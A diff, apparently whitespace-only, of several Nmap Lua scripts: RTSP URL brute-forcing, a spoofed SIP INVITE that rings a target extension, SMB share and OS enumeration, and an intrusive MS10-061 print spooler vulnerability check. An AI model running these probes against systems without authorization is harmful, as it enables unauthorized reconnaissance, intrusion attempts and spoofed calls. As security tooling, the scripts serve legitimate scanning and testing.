urlIterator = function(fd) urlIterator = function(fd)
local function getNextUrl () local function getNextUrl ()
repeat repeat
local line = fd:read() local line = fd:read()
if ( line and not(line:match('^#!comment:')) ) then if ( line and not(line:match('^#!comment:')) ) then
coroutine.yield(line) coroutine.yield(line)
end end
until(not(line)) until(not(line))
fd:close() fd:close()
while(true) do coroutine.yield(nil) end while(true) do coroutine.yield(nil) end
end end
return coroutine.wrap( getNextUrl ) return coroutine.wrap( getNextUrl )
end end
-- Fetches the next url from the iterator, creates an absolute url and tries -- Fetches the next url from the iterator, creates an absolute url and tries
@@ -64,101 +64,101 @@ end
-- @param url_iter function containing the url iterator -- @param url_iter function containing the url iterator
-- @param result table containing the urls that were successfully retrieved -- @param result table containing the urls that were successfully retrieved
local function processURL(host, port, url_iter, result) local function processURL(host, port, url_iter, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
for u in url_iter do for u in url_iter do
local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or
( host.name and #host.name > 0 ) and host.name or ( host.name and #host.name > 0 ) and host.name or
host.ip host.ip
local url = ("rtsp://%s%s"):format(name, u) local url = ("rtsp://%s%s"):format(name, u)
local helper = rtsp.Helper:new(host, port) local helper = rtsp.Helper:new(host, port)
local status = helper:connect() local status = helper:connect()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url) stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url)
table.insert(result, { url = url, status = -1 } ) table.insert(result, { url = url, status = -1 } )
break break
end end
local response local response
status, response = helper:describe(url) status, response = helper:describe(url)
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url) stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url)
table.insert(result, { url = url, status = -1 } ) table.insert(result, { url = url, status = -1 } )
break break
end end
table.insert(result, { url = url, status = response.status } ) table.insert(result, { url = url, status = response.status } )
helper:close() helper:close()
end end
condvar "signal" condvar "signal"
end end
action = function(host, port) action = function(host, port)
local response local response
local result = {} local result = {}
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10 local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10
local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or
nmap.fetchfile("nselib/data/rtsp-urls.txt") nmap.fetchfile("nselib/data/rtsp-urls.txt")
threadcount = tonumber(threadcount) threadcount = tonumber(threadcount)
if ( not(filename) ) then if ( not(filename) ) then
return stdnse.format_output(false, "No dictionary could be loaded") return stdnse.format_output(false, "No dictionary could be loaded")
end end
local f = io.open(filename) local f = io.open(filename)
if ( not(f) ) then if ( not(f) ) then
return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename)) return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename))
end end
local url_iter = urlIterator(f) local url_iter = urlIterator(f)
if ( not(url_iter) ) then if ( not(url_iter) ) then
return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f)) return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f))
end end
local threads = {} local threads = {}
for t=1, threadcount do for t=1, threadcount do
local co = stdnse.new_thread(processURL, host, port, url_iter, result) local co = stdnse.new_thread(processURL, host, port, url_iter, result)
threads[co] = true threads[co] = true
end end
repeat repeat
for t in pairs(threads) do for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until( next(threads) == nil ) until( next(threads) == nil )
-- urls that could not be retrieved due to low level errors, such as -- urls that could not be retrieved due to low level errors, such as
-- failure in socket send or receive -- failure in socket send or receive
local failure_urls = { name='An error occured while testing the following URLs' } local failure_urls = { name='An error occured while testing the following URLs' }
-- urls that illicited a 200 OK response -- urls that illicited a 200 OK response
local success_urls = { name='Discovered URLs' } local success_urls = { name='Discovered URLs' }
-- urls requiring authentication -- urls requiring authentication
-- local auth_urls = { name='URL requiring authentication' } -- local auth_urls = { name='URL requiring authentication' }
for _, r in ipairs(result) do for _, r in ipairs(result) do
if ( r.status == -1 ) then if ( r.status == -1 ) then
table.insert(failure_urls, r.url) table.insert(failure_urls, r.url)
elseif ( r.status == 200 ) then elseif ( r.status == 200 ) then
table.insert(success_urls, r.url) table.insert(success_urls, r.url)
-- elseif ( r.status == 401 ) then -- elseif ( r.status == 401 ) then
-- table.insert(auth_urls, r.url ) -- table.insert(auth_urls, r.url )
end end
end end
local result = { success_urls, failure_urls } local result = { success_urls, failure_urls }
-- -- insert our URLs requiring auth ONLY if not ALL urls returned auth -- -- insert our URLs requiring auth ONLY if not ALL urls returned auth
-- if (#result > #auth_urls) then -- if (#result > #auth_urls) then
-- table.insert(result, 2, auth_urls) -- table.insert(result, 2, auth_urls)
-- end -- end
return stdnse.format_output(true, result ) return stdnse.format_output(true, result )
end end

View File

@@ -58,18 +58,18 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
-- @return status True if we got a response, false else. -- @return status True if we got a response, false else.
-- @return resp Response table if status is true, error string else. -- @return resp Response table if status is true, error string else.
local sendinvite = function(session, ua, from, src, extension) local sendinvite = function(session, ua, from, src, extension)
local request = sip.Request:new(sip.Method.INVITE) local request = sip.Request:new(sip.Method.INVITE)
request:setUri("sip:" .. session.sessdata:getServer()) request:setUri("sip:" .. session.sessdata:getServer())
request:setUA(ua) request:setUA(ua)
if src then if src then
session.sessdata:setDomain(src) session.sessdata:setDomain(src)
end end
session.sessdata:setUsername(extension) session.sessdata:setUsername(extension)
session.sessdata:setName(from) session.sessdata:setName(from)
request:setSessionData(session.sessdata) request:setSessionData(session.sessdata)
return session:exch(request) return session:exch(request)
end end
--- Function that waits for certain responses for an amount of time. --- Function that waits for certain responses for an amount of time.
@@ -79,31 +79,31 @@ end
-- @return responsecode Code for the latest meaningful response. -- @return responsecode Code for the latest meaningful response.
-- could be 180, 200, 486, 408 or 603 -- could be 180, 200, 486, 408 or 603
local waitresponses = function(session,timeout) local waitresponses = function(session,timeout)
local response, status, data, responsecode, ringing, waittime local response, status, data, responsecode, ringing, waittime
local start = nmap.clock_ms() local start = nmap.clock_ms()
while (nmap.clock_ms() - start) < timeout do while (nmap.clock_ms() - start) < timeout do
status, data = session.conn:recv() status, data = session.conn:recv()
if status then if status then
response = sip.Response:new(data) response = sip.Response:new(data)
responsecode = response:getErrorCode() responsecode = response:getErrorCode()
waittime = nmap.clock_ms() - start waittime = nmap.clock_ms() - start
if responsecode == sip.Error.RING then if responsecode == sip.Error.RING then
ringing = true ringing = true
elseif responsecode == sip.Error.BUSY then elseif responsecode == sip.Error.BUSY then
return ringing, sip.Error.BUSY return ringing, sip.Error.BUSY
elseif responsecode == sip.Error.DECLINE then elseif responsecode == sip.Error.DECLINE then
return ringing, sip.Error.DECLINE, waittime return ringing, sip.Error.DECLINE, waittime
elseif responsecode == sip.Error.OK then elseif responsecode == sip.Error.OK then
return ringing, sip.Error.OK, waittime return ringing, sip.Error.OK, waittime
elseif responsecode == sip.Error.TIMEOUT then elseif responsecode == sip.Error.TIMEOUT then
return ringing, sip.Error.OK return ringing, sip.Error.OK
end end
end
end
if ringing then
return ringing, sip.Error.RING
end end
end
if ringing then
return ringing, sip.Error.RING
end
end end
--- Function that spoofs an invite request and listens for responses. --- Function that spoofs an invite request and listens for responses.
@@ -118,54 +118,54 @@ end
-- could be 180, 200, 486, 408 or 603 -- could be 180, 200, 486, 408 or 603
local invitespoof = function(session, ua, from, src, extension, timeout) local invitespoof = function(session, ua, from, src, extension, timeout)
local status, response = sendinvite(session, ua, from, src, extension) local status, response = sendinvite(session, ua, from, src, extension)
-- check if we got a 100 Trying response. -- check if we got a 100 Trying response.
if status and response:getErrorCode() == 100 then if status and response:getErrorCode() == 100 then
-- wait for responses -- wait for responses
return waitresponses(session, timeout) return waitresponses(session, timeout)
end end
end end
action = function(host, port) action = function(host, port)
local status, session local status, session
local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga" local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga"
local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home" local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home"
local src = stdnse.get_script_args(SCRIPT_NAME .. ".src") local src = stdnse.get_script_args(SCRIPT_NAME .. ".src")
local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100 local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
-- Default timeout value = 5 seconds. -- Default timeout value = 5 seconds.
timeout = (timeout or 5) * 1000 timeout = (timeout or 5) * 1000
session = sip.Session:new(host, port) session = sip.Session:new(host, port)
status = session:connect() status = session:connect()
if not status then if not status then
return "ERROR: Failed to connect to the SIP server." return "ERROR: Failed to connect to the SIP server."
end
local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout)
-- If we get a response, we set the port to open.
if result then
if nmap.get_port_state(host, port) ~= "open" then
nmap.set_port_state(host, port, "open")
end end
end
local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout) -- We check for ringing to skip false positives.
-- If we get a response, we set the port to open. if ringing then
if result then if result == sip.Error.BUSY then
if nmap.get_port_state(host, port) ~= "open" then return stdnse.format_output(true, "Target line is busy.")
nmap.set_port_state(host, port, "open") elseif result == sip.Error.DECLINE then
end return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
end elseif result == sip.Error.OK then
return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
-- We check for ringing to skip false positives. elseif result == sip.Error.TIMEOUT then
if ringing then return stdnse.format_output(true, "Ringing, no answer.")
if result == sip.Error.BUSY then elseif result == sip.Error.RING then
return stdnse.format_output(true, "Target line is busy.") return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
elseif result == sip.Error.DECLINE then
return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
elseif result == sip.Error.OK then
return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
elseif result == sip.Error.TIMEOUT then
return stdnse.format_output(true, "Ringing, no answer.")
elseif result == sip.Error.RING then
return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
end
else
stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.")
end end
else
stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.")
end
end end

View File

@@ -66,92 +66,92 @@ dependencies = {"smb-brute"}
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
action = function(host) action = function(host)
local status, shares, extra local status, shares, extra
local response = {} local response = {}
-- Get the list of shares -- Get the list of shares
status, shares, extra = smb.share_get_list(host) status, shares, extra = smb.share_get_list(host)
if(status == false) then if(status == false) then
return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares)) return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
end end
-- Find out who the current user is -- Find out who the current user is
local result, username, domain = smb.get_account(host) local result, username, domain = smb.get_account(host)
if(result == false) then if(result == false) then
username = "<unknown>" username = "<unknown>"
domain = "" domain = ""
end end
if(extra ~= nil and extra ~= '') then if(extra ~= nil and extra ~= '') then
table.insert(response, extra) table.insert(response, extra)
end end
for i = 1, #shares, 1 do for i = 1, #shares, 1 do
local share = shares[i] local share = shares[i]
local share_output = {} local share_output = {}
share_output['name'] = share['name'] share_output['name'] = share['name']
if(type(share['details']) ~= 'table') then if(type(share['details']) ~= 'table') then
share_output['warning'] = string.format("Couldn't get details for share: %s", share['details']) share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
else else
local details = share['details'] local details = share['details']
table.insert(share_output, string.format("Type: %s", details['sharetype'])) table.insert(share_output, string.format("Type: %s", details['sharetype']))
table.insert(share_output, string.format("Comment: %s", details['comment'])) table.insert(share_output, string.format("Comment: %s", details['comment']))
table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users'])) table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
table.insert(share_output, string.format("Path: %s", details['path'])) table.insert(share_output, string.format("Path: %s", details['path']))
end end
-- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare -- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
-- Print details for a non-file share -- Print details for a non-file share
if(share['anonymous_can_read']) then if(share['anonymous_can_read']) then
table.insert(share_output, "Anonymous access: READ <not a file share>") table.insert(share_output, "Anonymous access: READ <not a file share>")
else else
table.insert(share_output, "Anonymous access: <none> <not a file share>") table.insert(share_output, "Anonymous access: <none> <not a file share>")
end end
-- Don't bother printing this if we're already anonymous -- Don't bother printing this if we're already anonymous
if(username ~= '') then if(username ~= '') then
if(share['user_can_read']) then if(share['user_can_read']) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>") table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
else else
table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>") table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
end end
end end
else else
-- Print details for a file share -- Print details for a file share
if(share['anonymous_can_read'] and share['anonymous_can_write']) then if(share['anonymous_can_read'] and share['anonymous_can_write']) then
table.insert(share_output, "Anonymous access: READ/WRITE") table.insert(share_output, "Anonymous access: READ/WRITE")
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
table.insert(share_output, "Anonymous access: READ") table.insert(share_output, "Anonymous access: READ")
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
table.insert(share_output, "Anonymous access: WRITE") table.insert(share_output, "Anonymous access: WRITE")
else else
table.insert(share_output, "Anonymous access: <none>") table.insert(share_output, "Anonymous access: <none>")
end end
if(username ~= '') then if(username ~= '') then
if(share['user_can_read'] and share['user_can_write']) then if(share['user_can_read'] and share['user_can_write']) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE") table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
elseif(share['user_can_read'] and not(share['user_can_write'])) then elseif(share['user_can_read'] and not(share['user_can_write'])) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ") table.insert(share_output, "Current user ('" .. username .. "') access: READ")
elseif(not(share['user_can_read']) and share['user_can_write']) then elseif(not(share['user_can_read']) and share['user_can_write']) then
table.insert(share_output, "Current user ('" .. username .. "') access: WRITE") table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
else else
table.insert(share_output, "Current user ('" .. username .. "') access: <none>") table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
end end
end end
end end
table.insert(response, share_output) table.insert(response, share_output)
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -79,7 +79,7 @@ dependencies = {"smb-brute"}
--- Check whether or not this script should be run. --- Check whether or not this script should be run.
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
-- Some observed OS strings: -- Some observed OS strings:
@@ -92,97 +92,97 @@ end
-- http://msdn.microsoft.com/en-us/library/cc246806%28v=prot.20%29.aspx has a -- http://msdn.microsoft.com/en-us/library/cc246806%28v=prot.20%29.aspx has a
-- list of strings that don't quite match these. -- list of strings that don't quite match these.
function make_cpe(result) function make_cpe(result)
local os = result.os local os = result.os
local parts = {} local parts = {}
if string.match(os, "^Windows 5%.0") then if string.match(os, "^Windows 5%.0") then
parts = {"o", "microsoft", "windows_2000"} parts = {"o", "microsoft", "windows_2000"}
elseif string.match(os, "^Windows 5%.1") then elseif string.match(os, "^Windows 5%.1") then
parts = {"o", "microsoft", "windows_xp"} parts = {"o", "microsoft", "windows_xp"}
elseif string.match(os, "^Windows Server.*2003") then elseif string.match(os, "^Windows Server.*2003") then
parts = {"o", "microsoft", "windows_server_2003"} parts = {"o", "microsoft", "windows_server_2003"}
elseif string.match(os, "^Windows Vista") then elseif string.match(os, "^Windows Vista") then
parts = {"o", "microsoft", "windows_vista"} parts = {"o", "microsoft", "windows_vista"}
elseif string.match(os, "^Windows Server.*2008") then elseif string.match(os, "^Windows Server.*2008") then
parts = {"o", "microsoft", "windows_server_2008"} parts = {"o", "microsoft", "windows_server_2008"}
elseif string.match(os, "^Windows 7") then elseif string.match(os, "^Windows 7") then
parts = {"o", "microsoft", "windows_7"} parts = {"o", "microsoft", "windows_7"}
elseif string.match(os, "^Windows Server.*2012") then elseif string.match(os, "^Windows Server.*2012") then
parts = {"o", "microsoft", "windows_server_2012"} parts = {"o", "microsoft", "windows_server_2012"}
end end
if parts[1] == "o" and parts[2] == "microsoft" if parts[1] == "o" and parts[2] == "microsoft"
and string.match(parts[3], "^windows") then and string.match(parts[3], "^windows") then
parts[4] = "" parts[4] = ""
local sp = string.match(os, "Service Pack (%d+)") local sp = string.match(os, "Service Pack (%d+)")
if sp then if sp then
parts[5] = "sp" .. tostring(sp) parts[5] = "sp" .. tostring(sp)
else else
parts[5] = "-" parts[5] = "-"
end end
if string.match(os, "Professional") then if string.match(os, "Professional") then
parts[6] = "professional" parts[6] = "professional"
end end
end end
if #parts > 0 then if #parts > 0 then
return "cpe:/" .. stdnse.strjoin(":", parts) return "cpe:/" .. stdnse.strjoin(":", parts)
end end
end end
function add_to_output(output_table, label, value) function add_to_output(output_table, label, value)
if value then if value then
table.insert(output_table, string.format("%s: %s", label, value)) table.insert(output_table, string.format("%s: %s", label, value))
end end
end end
action = function(host) action = function(host)
local response = stdnse.output_table() local response = stdnse.output_table()
local status, result = smb.get_os(host) local status, result = smb.get_os(host)
if(status == false) then if(status == false) then
return stdnse.format_output(false, result) return stdnse.format_output(false, result)
end end
-- Collect results. -- Collect results.
response.os = result.os response.os = result.os
response.lanmanager = result.lanmanager response.lanmanager = result.lanmanager
response.domain = result.domain response.domain = result.domain
response.server = result.server response.server = result.server
if result.time and result.timezone then if result.time and result.timezone then
response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60) response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60)
end end
response.fqdn = result.fqdn response.fqdn = result.fqdn
response.domain_dns = result.domain_dns response.domain_dns = result.domain_dns
response.forest_dns = result.forest_dns response.forest_dns = result.forest_dns
response.workgroup = result.workgroup response.workgroup = result.workgroup
response.cpe = make_cpe(result) response.cpe = make_cpe(result)
-- Build normal output. -- Build normal output.
local output_lines = {} local output_lines = {}
if response.os and response.lanmanager then if response.os and response.lanmanager then
add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager)) add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager))
else else
add_to_output(output_lines, "OS", "Unknown") add_to_output(output_lines, "OS", "Unknown")
end end
add_to_output(output_lines, "OS CPE", response.cpe) add_to_output(output_lines, "OS CPE", response.cpe)
if response.fqdn then if response.fqdn then
-- Pull the first part of the FQDN as the computer name. -- Pull the first part of the FQDN as the computer name.
add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?")) add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?"))
end end
add_to_output(output_lines, "NetBIOS computer name", result.server) add_to_output(output_lines, "NetBIOS computer name", result.server)
if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then
-- If the FQDN doesn't match the domain name, the target is a domain member. -- If the FQDN doesn't match the domain name, the target is a domain member.
add_to_output(output_lines, "Domain name", response.domain_dns) add_to_output(output_lines, "Domain name", response.domain_dns)
add_to_output(output_lines, "Forest name", response.forest_dns) add_to_output(output_lines, "Forest name", response.forest_dns)
add_to_output(output_lines, "FQDN", response.fqdn) add_to_output(output_lines, "FQDN", response.fqdn)
add_to_output(output_lines, "NetBIOS domain name", response.domain) add_to_output(output_lines, "NetBIOS domain name", response.domain)
else else
add_to_output(output_lines, "Workgroup", response.workgroup or response.domain) add_to_output(output_lines, "Workgroup", response.workgroup or response.domain)
end end
add_to_output(output_lines, "System time", response.date or "Unknown") add_to_output(output_lines, "System time", response.date or "Unknown")
return response, stdnse.format_output(true, output_lines) return response, stdnse.format_output(true, output_lines)
end end

View File

@@ -21,9 +21,9 @@ which can be specified with smb library arguments smbuser and
smbpassword. smbpassword.
References: References:
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
- http://technet.microsoft.com/en-us/security/bulletin/MS10-061 - http://technet.microsoft.com/en-us/security/bulletin/MS10-061
- http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx - http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
]] ]]
--- ---
-- @usage nmap -p 445 <target> --script=smb-vuln-ms10-061 -- @usage nmap -p 445 <target> --script=smb-vuln-ms10-061
@@ -58,113 +58,113 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"} categories = {"vuln","intrusive"}
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
action = function(host,port) action = function(host,port)
local ms10_061 = { local ms10_061 = {
title = "Print Spooler Service Impersonation Vulnerability", title = "Print Spooler Service Impersonation Vulnerability",
IDS = {CVE = 'CVE-2010-2729'}, IDS = {CVE = 'CVE-2010-2729'},
risk_factor = "HIGH", risk_factor = "HIGH",
scores = { scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)", CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
}, },
description = [[ description = [[
The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled, The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled,
does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory, does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory,
and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010, and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010,
aka "Print Spooler Service Impersonation Vulnerability." aka "Print Spooler Service Impersonation Vulnerability."
]], ]],
references = { references = {
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729',
'http://technet.microsoft.com/en-us/security/bulletin/MS10-061', 'http://technet.microsoft.com/en-us/security/bulletin/MS10-061',
'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx' 'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx'
}, },
dates = { dates = {
disclosure = {year = '2010', month = '09', day = '5'}, disclosure = {year = '2010', month = '09', day = '5'},
}, },
exploit_results = {}, exploit_results = {},
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
ms10_061.state = vulns.STATE.NOT_VULN ms10_061.state = vulns.STATE.NOT_VULN
local status, smbstate local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true) status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
if(status == false) then if(status == false) then
stdnse.print_debug("SMB: " .. smbstate) stdnse.print_debug("SMB: " .. smbstate)
return false, smbstate return false, smbstate
end end
local bind_result local bind_result
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil) status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
stdnse.print_debug("SMB: " .. bind_result) stdnse.print_debug("SMB: " .. bind_result)
return false, bind_result return false, bind_result
end end
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer') local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
-- if printer not set find available printers -- if printer not set find available printers
if not printer then if not printer then
stdnse.print_debug("No printer specified, trying to find one...") stdnse.print_debug("No printer specified, trying to find one...")
local lanman_result local lanman_result
local REMSmb_NetShareEnum_P = "WrLeh" local REMSmb_NetShareEnum_P = "WrLeh"
local REMSmb_share_info_1 = "B13BWz" local REMSmb_share_info_1 = "B13BWz"
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406)) status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
if status == false then if status == false then
stdnse.print_debug("SMB: " .. lanman_result) stdnse.print_debug("SMB: " .. lanman_result)
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.") stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
end end
local parameters = lanman_result.parameters local parameters = lanman_result.parameters
local data = lanman_result.data local data = lanman_result.data
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters) local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
pos = 0 pos = 0
local share_type, name, _ local share_type, name, _
for i = 1, entry_count, 1 do for i = 1, entry_count, 1 do
_,share_type = bin.unpack(">s",data,pos+14) _,share_type = bin.unpack(">s",data,pos+14)
pos, name = bin.unpack("<z", data, pos) pos, name = bin.unpack("<z", data, pos)
-- pos needs to be rounded to the next even multiple of 20 -- pos needs to be rounded to the next even multiple of 20
pos = pos + ( 20 - (#name % 20) ) - 1 pos = pos + ( 20 - (#name % 20) ) - 1
if share_type == 1 then -- share is printer if share_type == 1 then -- share is printer
stdnse.print_debug("Found printer share %s.", name) stdnse.print_debug("Found printer share %s.", name)
printer = name printer = name
end end
end end
end end
if not printer then if not printer then
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.") stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
return false return false
end end
stdnse.print_debug("Using %s as printer.",printer) stdnse.print_debug("Using %s as printer.",printer)
-- call RpcOpenPrinterEx - opnum 69 -- call RpcOpenPrinterEx - opnum 69
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer) local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
if not status then if not status then
return false return false
end end
local printer_handle = string.sub(result.data,25,#result.data-4) local printer_handle = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle)) stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
-- call RpcStartDocPrinter - opnum 17 -- call RpcStartDocPrinter - opnum 17
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this
if not status then if not status then
return false return false
end end
local print_job_id = string.sub(result.data,25,#result.data-4) local print_job_id = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id)) stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
-- call RpcWritePrinter - 19 -- call RpcWritePrinter - 19
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa") status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa")
if not status then if not status then
return false return false
end end
local write_result = string.sub(result.data,25,#result.data-4) local write_result = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result)) stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written
ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version
end end
-- call abort_printer to stop the actuall printing in case the remote system is not vulnerable -- call abort_printer to stop the actuall printing in case the remote system is not vulnerable
-- we care about the environment and don't want to spend more paper then needed :) -- we care about the environment and don't want to spend more paper then needed :)
status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle) status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle)
return report:make_output(ms10_061) return report:make_output(ms10_061)
end end

View File

@@ -62,13 +62,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- @return value of relevant type or nil if oid was not found -- @return value of relevant type or nil if oid was not found
function get_value_from_table( tbl, oid ) function get_value_from_table( tbl, oid )
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
if v.oid == oid then if v.oid == oid then
return v.value return v.value
end end
end end
return nil return nil
end end
